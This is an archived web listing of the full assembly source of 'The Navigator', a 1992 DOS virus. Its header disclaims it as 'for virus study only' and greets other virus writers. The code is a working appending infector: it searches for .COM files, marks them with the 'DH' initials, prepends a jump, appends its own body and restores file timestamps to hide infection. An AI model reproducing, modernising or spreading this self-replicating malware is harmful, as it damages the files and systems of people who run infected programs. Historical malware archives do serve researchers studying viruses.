home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / NAVIGATR.ASM < prev    next >
Assembly Source File  |  1992-03-26  |  5KB  |  162 lines

  1. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  2. ;                                                                            ;
  3. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  4. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  5. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  6. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  7. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  8. ; Is. Keep This Code in Responsible Hands!                                   ;
  9. ;                                                                            ;
  10. ;****************************************************************************;
  11. ;****************************************************************************
  12. ;*   The Navigator                                *
  13. ;*                                          *
  14. ;*   Assembled with Tasm 2.5                            *
  15. ;*                                            *
  16. ;*   (c) 1992 Dark Helmet, The Netherlands                    *
  17. ;*   The author takes no responsibilty for any damages caused by the virus  *
  18. ;*                                        *
  19. ;*   Special greetings to :                             *
  20. ;*   Glenn Benton, XSTC for their nice source and viruses,             *
  21. ;*   XXXXXXXXXXXXX for his BBS, Marcel and Ziggy for keeping me of the      *
  22. ;*   work, Guns and Roses for their great music,                 *
  23. ;*   and al the other viruswriters...                        *
  24. ;*                                        *
  25. ;*   " Trust me...I know what I'm doing"                    *
  26. ;*                                        *
  27. ;*--------------------------------------------------------------------------*
  28. ;*                                        *
  29. ;*   Coming soon : The Anti-DAF Virus                          *
  30. ;*                 Civil War II                          *
  31. ;*                                           *
  32. ;*--------------------------------------------------------------------------*
  33. ;*                                        *
  34. ;*    Used Books : - MSDOS voor gevorderen (tweede editie)            *
  35. ;*                 Ray Duncan, ISBN 90 201 2299 1 (660 blz.)              *
  36. ;*                 - PC Handboek voor programmeurs                *
  37. ;*                   Robert Jourdain, ISBN 90 6233 443 1 (542 blz.)        *
  38. ;*           - Werken met Turbo Assembler                    *
  39. ;*             Tom Swam, ISBN 90 6233 627 2 (903 blz.)              *
  40. ;*                                        *
  41. ;****************************************************************************
  42.  
  43.         .Radix 16
  44.  
  45. Navigator    Segment
  46.         Assume cs:Navigator, ds:Navigator, 
  47.         org 100h
  48.  
  49. len         equ offset last - begin
  50.  
  51. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  52.  
  53. Begin:          call virus
  54.  
  55. Virus:          pop bp
  56.                 sub bp,109h
  57.                 mov dx,0fe00h
  58.                 mov ah,1ah
  59.                 int 21h
  60.         
  61. Restore_begin:  mov di,0100h
  62.         lea si,ds:[buffer+bp]
  63.         mov cx,06h
  64.         rep movsb
  65.                 
  66. First:        lea dx,[com_mask+bp]
  67.         mov ah,04eh
  68.         xor cx,cx
  69.         int 21h
  70.  
  71. Open_file:    mov ax,03d02h
  72.         mov dx,0fe1eh
  73.         int 21h
  74.         mov [handle+bp],ax
  75.         xchg ax,bx
  76.  
  77. Read_date:    mov ax,05700h
  78.         int 21h
  79.         mov [date+bp],dx
  80.         mov [time+bp],cx
  81.  
  82. Check_infect:    mov bx,[handle+bp]
  83.         mov ah,03fh
  84.         mov cx,06h
  85.         lea dx,[buffer+bp]
  86.         int 21h
  87.                 mov al,byte ptr [buffer+bp]+3
  88.         mov ah,byte ptr [buffer+bp]+4 
  89.         cmp ax,[initials+bp]
  90.         jne infect_file
  91.  
  92. Close_file:     mov bx,[handle+bp]
  93.         mov ah,3eh
  94.         int 21h
  95.  
  96. Next_file:      mov ah,4fh
  97.         int 21h
  98.         jnb open_file
  99.         jmp exit
  100.  
  101. Infect_file:    mov ax,word ptr [cs:0fe1ah]
  102.         sub ax,03h
  103.         mov [lenght+bp],ax
  104.         mov ax,04200h
  105.         call move_pointer
  106.         
  107. Write_jump:     mov ah,40h
  108.         mov cx,01h
  109.         lea dx,[jump+bp]
  110.         int 21h
  111.         mov ah,40h
  112.         mov cx,02h
  113.         lea dx,[lenght+bp]
  114.         int 21h
  115.         mov ah,40
  116.         mov cx,02h
  117.         lea dx,[initials+bp]
  118.         int 21h
  119.  
  120. Write_virus:    mov ax,4202h
  121.         call move_pointer
  122.         mov ah,40h
  123.         mov cx,len
  124.         lea dx,[begin+bp]
  125.         int 21h
  126.  
  127. restore_date:   mov dx,[date+bp]
  128.         mov cx,[time+bp]
  129.         mov bx,[handle+bp]
  130.         mov ax,05701h
  131.         int 21h
  132.  
  133. exit:        mov bx,0100h
  134.         jmp bx
  135.  
  136. ;----------------------------------------------------------------------------
  137.  
  138. move_pointer:   mov bx,[handle+bp]
  139.         xor cx,cx
  140.         xor dx,dx
  141.         int 21h
  142.         ret
  143.         
  144. ;----------------------------------------------------------------------------
  145.  
  146. com_mask    db "*.com",0
  147. handle        dw ?
  148. date        dw ?
  149. time        dw ?
  150. buffer          db 090h,0cdh,020h,044h,048h,00h
  151. initials        dw 4844h         
  152. lenght        dw ?
  153. jump            db 0e9h,0
  154. msg             db "The Navigator, (c) 1992 Dark Helmet",0
  155.  
  156. last        db 090h
  157.  
  158. Navigator    ends
  159.         end  dummy
  160. ;****************************************************************************;
  161. ;****************************************************************************;
  162.